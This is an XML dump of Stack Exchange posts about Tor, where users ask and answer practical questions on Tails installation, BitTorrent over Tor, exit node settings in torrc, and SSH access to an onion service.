  <row Id="12965" PostTypeId="2" ParentId="12963" CreationDate="2016-10-20T17:48:22.617" Score="0" Body="&lt;p&gt;it's &lt;em&gt;Theoretically&lt;/em&gt; possible if all three nodes will have a custom software, but in standart software it's impossible&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-10-20T17:48:22.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12967" PostTypeId="1" CreationDate="2016-10-20T18:14:41.087" Score="1" ViewCount="1337" Body="&lt;p&gt;Can I install Tails on a WD My Passport? And also will the information save, or do i lose it upon shutdown?&lt;/p&gt;&#xA;" OwnerDisplayName="user14768" LastActivityDate="2016-10-21T10:17:54.413" Title="Can I install Tails on a WD My Passport?" Tags="|tails|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12968" PostTypeId="1" CreationDate="2016-10-20T19:45:47.880" Score="0" ViewCount="1019" Body="&lt;p&gt;I am running a non-exit Tor relay on my Windows 10 machine. I have the ORPort as 443, while the SocksPort and ControlPort are 9050 and 9051, respectively. I devote 800 Kbps average, and 950 Kbps to bursts. My DNS settings are set to non-ISP DNS (both my router and my own computer) and they don't log. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use the Tor Browser Bundle (always updated) for my general onion Internet surfing. I only use the TBB when surfing onion sites, but close the TBB when done. I keep the relay going 24/7. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know all the controversy regarding BitTorrent over Tor so please spare me the comments against, etc. I actually run the relay partly to defray the load I put on Tor via BitTorrent. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, since I set my Vuze proxy settings for '127.0.0.1' and 'port: 9050' and 'Socks5' for both tracker and peer to peer, my thinking is that having all this Tor relay traffic co-mingling with the BitTorrent traffic would make any sort of traffic analysis of my Internet much more complicated. Especially analysis of anything I do while using the Tor Browser Bundle. Any comments on this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, when I set my Vuze to use those proxy settings, the SOCKS icon is green in Vuze while the firewall icon turns red (meaning firewalled). I have UPnP in my router and my Vuze. I am able to download files with the Vuze status as such. But I'm not seeding very much, and it's messing up my ratio. Also, I have Vuze set to randomize TCP/UDP listening ports and to use same ports for TCP/UDP. But when I use the 'NAT/Firewall Test' for my Vuze ports, it says the TCP port &quot;timed out&quot; or the connection is &quot;refused,&quot; while the UDP port is &quot;OK!&quot; In fact, any port I test will always come back &quot;refused&quot; or &quot;timed out.&quot; But once I un-proxy Vuze, the firewall icon turns green almost instantly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get Vuze to work right with Tor? I'm thinking it's a matter of the half-open connections limit? I have Vuze set to 20 &quot;max simultaneous outbound connection attempts,&quot; and 950 &quot;max outstanding outbound connections.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="14769" LastActivityDate="2018-04-27T01:22:41.713" Title="Routing Bittorrent through a Tor relay..." Tags="|configuration|security|relays|windows|bittorrent|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12969" PostTypeId="2" ParentId="12967" CreationDate="2016-10-20T20:52:20.247" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://tails.boum.org/install/win/usb/index.en.html&quot; rel=&quot;nofollow&quot;&gt;yup!&lt;/a&gt; I think you'll need to partition that hard drive first though, assuming you are storing other things on that My Passport drive.&lt;/p&gt;&#xA;" OwnerUserId="12194" LastActivityDate="2016-10-20T20:52:20.247" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12970" PostTypeId="1" AcceptedAnswerId="12995" CreationDate="2016-10-20T22:38:04.990" Score="0" ViewCount="1654" Body="&lt;p&gt;What is the limit and is it configurable? I am connecting via Polipo SOCKS5 proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I'm asking because I see a lot of 504s when I go for multiple simultaneous requests.&lt;/p&gt;&#xA;" OwnerUserId="14771" LastEditorUserId="14771" LastEditDate="2016-10-21T08:23:31.987" LastActivityDate="2016-10-23T13:22:31.503" Title="What is the default maximum number of concurrent connections to the Tor network client?" Tags="|configuration|torsocks|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="12971" PostTypeId="1" CreationDate="2016-10-21T00:01:14.937" Score="1" ViewCount="147" Body="&lt;p&gt;I just wanna know if it will make it my default browser and get rid of my other ones or what&lt;/p&gt;&#xA;" OwnerUserId="14772" LastActivityDate="2017-01-20T03:28:34.020" Title="If i download Tor will i keep my other browsers and be able to use them still?" Tags="|browsers|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12972" PostTypeId="2" ParentId="12968" CreationDate="2016-10-21T02:54:42.087" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;my thinking is that having all this Tor relay traffic co-mingling with the BitTorrent traffic would make any sort of traffic analysis of my Internet much more complicated.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not in any meaningful way, no.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I am able to download files with the Vuze status as such. But I'm not seeding very much, and it's messing up my ratio.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Seeding involves you publishing to the tracker and saying &quot;I have these parts of the file and you can contact me at this address to get them&quot;. You cannot receive inbound connections over Tor from outside of the Tor network, therefor you cannot seed over Tor.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;it says the TCP port &quot;timed out&quot; or the connection is &quot;refused,&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You connect out over Tor and tell the testing service &quot;I'm listening on this port&quot; but it sees the Exit asking the question, the Exit is not listening on that port, the test fails. As mentioned above, you cannot receive inbound connections over Tor from outside of the Tor network.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;while the UDP port is &quot;OK!&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Tor doesn't handle UDP traffic, this is likely going out over your normal internet connection and leaking. Possibly this is why you see &lt;em&gt;any&lt;/em&gt; seeding at all.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How can I get Vuze to work right with Tor?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Bittorrent is generally incompatible with Tor, since half of the protocol involves operations that are not supported on the Tor network (taking inbound connections and serving parts of the file to users). Instead you've just a got a very inefficient method of downloading files which is apparently breaking your anonymity with UDP traffic. There is no &quot;right&quot; way to get Vuze to work with Tor if you're concerned about your &quot;ratio&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd have much better luck using a client-server architecture based protocol (http, ftp, rsync, etc.), it would serve you better and it would serve the Tor network better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's no magic secret to doing bittorrent over Tor that people aren't telling you because you're one of the uninitiated, it's just not very compatible with Tor as a protocol. It can half work badly and inefficiently. There are likely few, if any, clients that are designed to respect your privacy or even &lt;em&gt;attempt&lt;/em&gt; any kind of meaningful anonymity.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I know all the controversy regarding BitTorrent over Tor so please spare me the comments against, etc.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Clearly, you don't or you'd have already answered your own question.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-10-21T03:11:10.597" LastActivityDate="2016-10-21T03:11:10.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12975" PostTypeId="2" ParentId="12971" CreationDate="2016-10-21T06:05:07.467" Score="-1" Body="&lt;p&gt;Yes. You will have added an additional browser, but it will not remove or otherwise affect your current browsers in any way.&lt;/p&gt;&#xA;" OwnerUserId="7603" LastActivityDate="2016-10-21T06:05:07.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12976" PostTypeId="2" ParentId="12963" CreationDate="2016-10-21T06:12:33.510" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;But,what if Entry-Node send my ip address to Relay-Node,which will send it to Exit-Node ? Then will the Exit Node have both my IP Adress and what i am sending ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, the facts you are quoting assume the nodes are not colluding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally speaking, the assumption is that while one node in your circuit may be malicious, it's very unlikely that &lt;em&gt;all&lt;/em&gt; of them are, and that they're &lt;em&gt;cooperating&lt;/em&gt; to compromise you. This is why it's important to have many people running nodes.&lt;/p&gt;&#xA;" OwnerUserId="7603" LastActivityDate="2016-10-21T06:12:33.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12977" PostTypeId="2" ParentId="12948" CreationDate="2016-10-21T06:18:17.910" Score="2" Body="&lt;p&gt;Those are the nicknames of the relays that were in your circuit; you can go look them up on Atlas and see information on them, which is kinda cool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since Orbot is running on a phone, it will shut down during periods of inactivity and reconnect later. This is pretty common, and not anything you should be worried about.&lt;/p&gt;&#xA;" OwnerUserId="7603" LastActivityDate="2016-10-21T06:18:17.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12978" PostTypeId="2" ParentId="12967" CreationDate="2016-10-21T10:17:54.413" Score="2" Body="&lt;p&gt;It looks like it will probably work, WD USB HDDs appear as a USB drive which should allow the Tails installer to install onto it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To start the Tails installer, you'll need a working Ubuntu, Debian or Mint based Linux distribution &lt;em&gt;or&lt;/em&gt; another USB with an intermediary Tails device already installed. Follow the &lt;a href=&quot;https://tails.boum.org/install/index.en.html&quot; rel=&quot;nofollow&quot;&gt;guide on the Tails website&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tails installer will create a new partition table, effectively destroying all the data on the device (&lt;strong&gt;N.B.&lt;/strong&gt; It would still be recoverable, just not accessible through normal means, &lt;em&gt;not&lt;/em&gt; forensic destruction). It would then partition off enough space for the Tails OS to be installed onto, formatting it as FAT32 and leave the rest of the device as unpartitioned space which you can setup as &lt;a href=&quot;https://tails.boum.org/doc/first_steps/persistence/index.en.html&quot; rel=&quot;nofollow&quot;&gt;encrypted persistent storage&lt;/a&gt; if you choose to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As to if the information will be lost on shutdown, yes, the majority of it will (and should! eliminate the state, etc). You can however use and configure the aforementioned encrypted persistent storage to allow configurations, cryptographic key material or other files to be stored such that they will persist after a reboot. For more details, see the Tails documentation linked above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Worth considering is that if this is a magnetic spinning platter (HDD) and not an ssd or flash memory you may find data access to be painfully slow. YMMV.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-10-21T10:17:54.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12979" PostTypeId="2" ParentId="12968" CreationDate="2016-10-21T15:57:21.453" Score="0" Body="&lt;p&gt;When I started to write a fork of bittorrent to use through Tor, I was thinking that &quot;it will handle almost everything by itself&quot; and it's a simple question. It is NOT. The problem is very complicated and multi-layered:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;No UDP in Tor&lt;/strong&gt; So, forget your UDP downloads(no problem), DHT(problem, but not a killer) &lt;em&gt;and trackers&lt;/em&gt;(epic fail)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;No DHT&lt;/strong&gt; because you don't have any multi/broad casts and UDP, so - you have only the peers you've received from your tracker. A peer exchange can save your day, especially on LAN/homenet/local-ISP-lan case&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Descriptors know IP addresses only&lt;/strong&gt; In a direct way or another(via hostnames) torrent library uses IP addresses, which is bad and actually a killer for daarknets, including Tor. Descriptors can also leak your HS IP address(a second killer) - so you have a lot of trouble even if you're manage to physically launch bittorrent over Tor&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Wait for my release - I hope it will be soon ;)&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-10-21T15:57:21.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12980" PostTypeId="2" ParentId="12971" CreationDate="2016-10-21T15:58:46.183" Score="1" Body="&lt;p&gt;Sure you will be able to use your browsers: it's &lt;em&gt;just&lt;/em&gt; another browser on your system. And - regardless of many others - it's installer does not set it as a default totally, so you are free to use it &lt;em&gt;only the times you're launching it explicitly&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-10-21T15:58:46.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12983" PostTypeId="2" ParentId="12971" CreationDate="2016-10-22T02:19:06.457" Score="-1" Body="&lt;p&gt;Yes, when you extract/install tor it installs into a separate directory, it will never ask to become your default browser.&lt;/p&gt;&#xA;" OwnerUserId="14671" LastActivityDate="2016-10-22T02:19:06.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12985" PostTypeId="1" CreationDate="2016-10-22T12:05:21.797" Score="1" ViewCount="152" Body="&lt;p&gt;To use same exit node for two different site i can use in torrc:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AllowDotExit 1&#xA;MapAddress site1.com site1.nodeA.exit&#xA;MapAddress site2.com site2.nodeA.exit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But in this way i use always the same exit node for site1 and site2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to use the same exit node for site1 and site2, but the exit node must change like other exit node. For example, if in tor browser i use &quot;New Tor Circuit for this Site&quot; when i am on site1 and then go to site2, the new exit node used on site1 must be the same on site2.&#xA;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="14788" LastEditorUserId="88" LastEditDate="2016-10-24T06:34:24.310" LastActivityDate="2016-10-24T06:34:24.310" Title="Same exit node (that change) for two different site" Tags="|exit-relays|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12986" PostTypeId="1" CreationDate="2016-10-22T13:03:58.863" Score="0" ViewCount="4143" Body="&lt;p&gt;I have been using tor for a long time now.&#xA;In torrc I specify ExitNodes with a list of IP-addresses of exitnodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That always worked, until recently tor started ignoring the ExitNodes directive. It connects via an exitnode that is not in the specified list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can easily be verified with some site that shows the clients ip-address, like ipchicken.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor exits via 77.247.181.162, even thought that is specifically excluded with ExcludeNodes.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Apparenty something has changed recently and I cannot figure out what.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also tried x.x.x.x/32 and x.x.x.x/24, that does not help either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;THX, stn&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my torrc:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SafeLogging 0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SocksPort 9330&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DataDirectory /tmp/tor-9330.dir&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ExitNodes 87.118.115.176,82.199.155.89,84.56.116.163,130.255.72.164,93.104.213.65,81.7.10.68,46.38.237.221,62.141.36.213,87.118.110.158,46.4.76.229,217.235.190.240,62.158.82.89,79.196.250.71,176.9.133.154,188.40.49.86,78.47.201.181,178.202.237.131,89.163.196.221,188.40.166.29,5.45.108.48,5.45.98.111,188.194.248.249,78.47.239.80,85.216.9.254,84.159.93.204,176.28.9.120,91.67.246.119,213.136.69.162,185.15.94.14,78.47.249.226,87.128.102.135,85.214.144.127,85.25.150.216,188.103.124.140,91.5.97.157,144.76.105.169,130.75.178.38,87.181.43.249,84.19.178.79,130.180.72.178,31.18.1.236,88.217.171.225,144.76.50.37,88.80.214.189,46.101.142.174,89.163.134.76,213.239.205.239,188.40.59.80,178.254.26.244,185.34.0.188,78.47.29.68,85.214.117.156,217.79.182.222,37.120.162.196,5.9.158.75,134.130.181.212,78.47.120.150,78.46.37.26,81.7.16.59,95.143.172.147,37.4.233.246,62.141.55.117,46.165.222.29,54.93.177.217,89.163.128.66,84.200.14.206,176.9.138.4,86.56.56.128,134.130.181.49,178.6.29.148,193.200.241.66,141.101.32.104,176.9.90.215,89.22.97.58,78.46.223.134,5.9.7.130,46.101.223.231,5.189.146.133,91.53.99.70,146.52.207.49,148.251.68.100,85.214.108.95,188.40.248.57,134.119.3.2,37.58.57.231,134.3.17.14,176.198.95.105,217.13.197.5,87.79.79.142,85.25.130.154,178.238.230.14,178.254.13.92,217.79.179.177,94.114.193.87,84.200.8.207,217.79.189.243,178.26.128.20,178.254.12.123,31.47.238.152,178.254.36.61,83.141.2.52,88.78.64.16,81.169.222.158,77.23.46.211,46.165.221.166,84.19.176.95,93.180.156.84,46.89.215.167,81.169.130.214,89.163.246.127,178.63.209.51,144.76.100.57,5.189.150.139,62.138.10.60,217.79.178.60,46.182.19.151,141.54.159.184,95.88.91.197,213.136.71.21,88.198.212.3,185.17.144.138,5.199.142.236,178.27.158.194,109.193.253.241,91.59.147.155,193.104.220.54,176.9.75.108,77.23.213.250,46.59.249.65,178.63.19.126,95.88.245.219,176.9.53.52,78.94.97.238,5.9.88.74,91.250.115.185,213.239.217.18,5.9.83.204,37.120.175.187,217.241.116.122,178.63.97.34,87.118.116.227,188.195.15.82,31.185.104.19,46.4.25.214,149.154.159.87,37.209.38.143,5.189.143.28,81.7.11.154,144.76.26.175,144.76.92.176,217.79.179.14,81.173.240.81,185.37.145.44,79.140.41.118,85.25.103.119,85.25.103.69,95.143.172.212,46.237.253.217,136.243.214.137,87.182.214.183,78.47.35.35,178.63.16.48,188.138.125.136,141.22.213.35,89.163.224.212,92.206.221.70,84.56.62.120,88.198.14.171,46.128.114.12,193.164.133.53,82.211.0.180,213.239.212.20,178.162.194.210,82.116.120.3,212.37.176.251,62.176.239.229,37.221.196.31,94.114.172.220,62.113.216.177,213.211.226.13,148.251.214.53,88.198.253.24,93.218.127.189,78.46.249.71,5.199.133.193,178.7.9.163,178.63.116.157,93.104.211.62,91.64.54.129,5.45.100.22,79.193.219.231,176.9.1.211,5.9.159.14,5.189.153.185,78.47.101.157&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ExcludeNodes 85.248.227.164,188.226.192.48,51.255.202.66,149.56.229.17,199.87.154.255,37.220.35.202,163.172.21.117,162.213.3.221,93.158.200.242,77.247.181.162&lt;/p&gt;&#xA;" OwnerUserId="14789" LastEditorUserId="14790" LastEditDate="2016-10-23T22:20:45.953" LastActivityDate="2016-10-23T22:20:45.953" Title="ExitNodes in torrc with an IP-address" Tags="|configuration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12987" PostTypeId="2" ParentId="12986" CreationDate="2016-10-22T13:26:26.433" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;There's no guarantee that the IP the Exit listens on is the same IP it sends outbound traffic from, and in some cases it differs.&lt;/li&gt;&#xA;&lt;li&gt;You need to specify &lt;code&gt;StrictNodes 1&lt;/code&gt; so that Tor will fail to connect rather than use a different node.&lt;/li&gt;&#xA;&lt;li&gt;Your torrc is, frankly, stupid.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;At least some of the relays you've specified (I picked about 5 from the list randomly) don't even have any destinations allowed in their Exit Policy and so &lt;em&gt;can't&lt;/em&gt; be exited from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stop it. Whatever you think it's achieving, it's &lt;a href=&quot;https://github.com/epidemics-scepticism/tor-misconception#reduced-circuit-paths&quot; rel=&quot;nofollow&quot;&gt;only harming you&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-10-22T13:26:26.433" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12988" PostTypeId="1" CreationDate="2016-10-22T13:55:58.980" Score="3" ViewCount="1903" Body="&lt;p&gt;I've tried to set up the use of ssh via tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/etc/tor/torrc:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[...]&#xA;&#xA;HiddenServiceDir /var/lib/tor/sshd&#xA;HiddenServicePort 443 127.0.0.1:443&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;/var/lib/tor/sshd has the &lt;code&gt;hostname&lt;/code&gt; and &lt;code&gt;private_key&lt;/code&gt; after reloading the service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SSH is set up with private/public key authentication on port 443 and works fine without tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the client I've edited the &lt;code&gt;~/.ssh/config&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Host *.onion&#xA;    Port 443 &#xA;    User user&#xA;    HostName &amp;lt;hostname&amp;gt;.onion&#xA;    ProxyCommand ncat --proxy 127.0.0.1:9050 --proxy-type socks5 %h %p&#xA;    IdentityFile ~/.ssh/id_ed25519&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, if I try to connect from the client with &lt;code&gt;ssh -vvv -o LogLevel=DEBUG3 &amp;lt;hostname&amp;gt;.onion&lt;/code&gt;, the following output is shown:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OpenSSH_7.3p1 Debian-1, OpenSSL 1.0.2j  26 Sep 2016&#xA;debug1: Reading configuration data /home/user/.ssh/config&#xA;debug1: /home/user/.ssh/config line 1: Applying options for &amp;lt;hostname&amp;gt;.onion&#xA;debug1: Reading configuration data /etc/ssh/ssh_config&#xA;debug1: /etc/ssh/ssh_config line 19: Applying options for *&#xA;debug3: kex names ok: [curve25519-sha256@libssh.org]&#xA;debug1: Executing proxy command: exec ncat --proxy 127.0.0.1:9050 --proxy-type socks5 &amp;lt;hostname&amp;gt;.onion 443&#xA;debug1: permanently_drop_suid: 1000&#xA;debug1: identity file /home/user/.ssh/id_ed25519 type 4&#xA;debug1: key_load_public: No such file or directory&#xA;debug1: identity file /home/user/.ssh/id_ed25519-cert type -1&#xA;debug1: Enabling compatibility mode for protocol 2.0&#xA;debug1: Local version string SSH-2.0-OpenSSH_7.3p1 Debian-1&#xA;^C&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Permissions on the private/public key files:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-rw-------  1 user user  444 Oct 22 12:36 id_ed25519&#xA;-rw-------  1 user user   93 Oct 22 12:36 id_ed25519.pub&#xA;-rw-------  1 user user 3.4K Oct 22 12:36 id_rsa&#xA;-rw-------  1 user user  737 Oct 22 12:36 id_rsa.pub&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I use &lt;code&gt;torify&lt;/code&gt;, like &lt;code&gt;torify ssh -p 443 -vvv user@&amp;lt;hostname&amp;gt;.onion&lt;/code&gt;. The following output is printed. The command keeps awaiting input, but nothing else happens.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OpenSSH_7.3p1 Debian-1, OpenSSL 1.0.2j  26 Sep 2016&#xA;debug1: Reading configuration data /etc/ssh/ssh_config&#xA;debug1: /etc/ssh/ssh_config line 19: Applying options for *&#xA;debug3: kex names ok: [curve25519-sha256@libssh.org]&#xA;debug2: resolving &quot;&amp;lt;hostname&amp;gt;.onion&quot; port 443&#xA;debug2: ssh_connect_direct: needpriv 0&#xA;debug1: Connecting to &amp;lt;hostname&amp;gt;.onion [127.42.42.0] port 443.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;after a while it times out:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[Oct 22 19:03:02] ERROR torsocks[29886]: Connection timed out (in socks5_recv_connect_reply() at socks5.c:536)&#xA;debug1: connect to address 127.42.42.0 port 443: Connection timed out&#xA;ssh: connect to host &amp;lt;hostname&amp;gt;.onion port 443: Connection timed out&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sudo tail -f /var/log/auth.log | grep sshd&lt;/code&gt; shows absolutely no activity when I try to connect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where do I start troubleshooting?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt; Apparently it didn't suffice to reload the tor service on the server side. After a &lt;code&gt;sudo service tor restart&lt;/code&gt; everything worked just fine.&lt;/p&gt;&#xA;" OwnerUserId="14702" LastEditorUserId="88" LastEditDate="2016-10-25T07:47:14.037" LastActivityDate="2016-10-25T07:47:14.037" Title="Troubleshooting ssh over tor connection" Tags="|onion-services|ssh|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12990" PostTypeId="2" ParentId="12986" CreationDate="2016-10-22T14:14:21.967" Score="-1" Body="&lt;p&gt;It's &lt;strong&gt;technically impossible&lt;/strong&gt; for this to work even on old version of Tor: now you &lt;strong&gt;must&lt;/strong&gt; use &lt;code&gt;StrictNodes 1&lt;/code&gt;, before some time this was &lt;code&gt;StrictExitNodes 1&lt;/code&gt;. Without one of these directives &lt;code&gt;ExitNodes&lt;/code&gt; were &lt;strong&gt;not&lt;/strong&gt; restricted at all.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2016-10-22T14:38:24.100" LastActivityDate="2016-10-22T14:38:24.100" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12991" PostTypeId="2" ParentId="1636" CreationDate="2016-10-22T22:01:26.967" Score="1" Body="&lt;p&gt;Click the Browser folder, open the TorBrowser folder, open the data folder, open the Tor folder, open the &lt;code&gt;torrc&lt;/code&gt; file, and add &lt;code&gt;ExitNodes {US}&lt;/code&gt; (if you want a us proxy on tor) to the top of the second section as so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This file was generated by Tor; if you edit it, comments will not be preserved&#xA;The old torrc file was renamed to &lt;code&gt;torrc.orig.1&lt;/code&gt; or similar, and Tor will ignore it&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitNodes {US}&#xA;DataDirectory C:\Users\******\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor&#xA;GeoIPFile C:\Users\******\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\geoip&#xA;GeoIPv6File C:\Users\*******\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\geoip6&#xA;HiddenServiceStatistics 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;save the file and launch tor, there u go.&lt;/p&gt;&#xA;" OwnerUserId="14794" LastEditorUserId="88" LastEditDate="2016-10-24T06:38:11.307" LastActivityDate="2016-10-24T06:38:11.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12995" PostTypeId="2" ParentId="12970" CreationDate="2016-10-23T13:22:31.503" Score="0" Body="&lt;p&gt;It seems that 504 bad gateways is a common problem with onions no longer with us. I guess a 404 would only happen when the page is offline but the site's server is still up in some form.&lt;/p&gt;&#xA;" OwnerUserId="14771" LastActivityDate="2016-10-23T13:22:31.503" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13001" PostTypeId="1" CreationDate="2016-10-24T19:21:59.167" Score="1" ViewCount="121" Body="&lt;p&gt;I have read through every forum I can find so far and have had no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I installed Tor on a Mac with El Capitan. I have looked through the application itself and through the admin browser files and conducted a full system search for the torch file. I have uninstalled and reinstalled Torc using both direct download and terminal. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find the torrc file anywhere. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question) can I manually create a torrc file and point the torc to the location manually?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking at hosting a website using Mamp pro with apache utilizing the mac as the server. So far I have the Mamp figured out but can't find the torc file in order to initiate complete hidden-services. The server will be hosted outside of the united states and I need to ensure the website traffic both in and out is hidden. If you have a good step by step for running a site from a mac with mamp with or without actually touching the torrc file I am all ears and ready to listen. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advanced for the help.&lt;/p&gt;&#xA;" OwnerUserId="14821" LastActivityDate="2016-10-24T19:21:59.167" Title="Torr file on Mac El Capitan unable to find" Tags="|mac|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
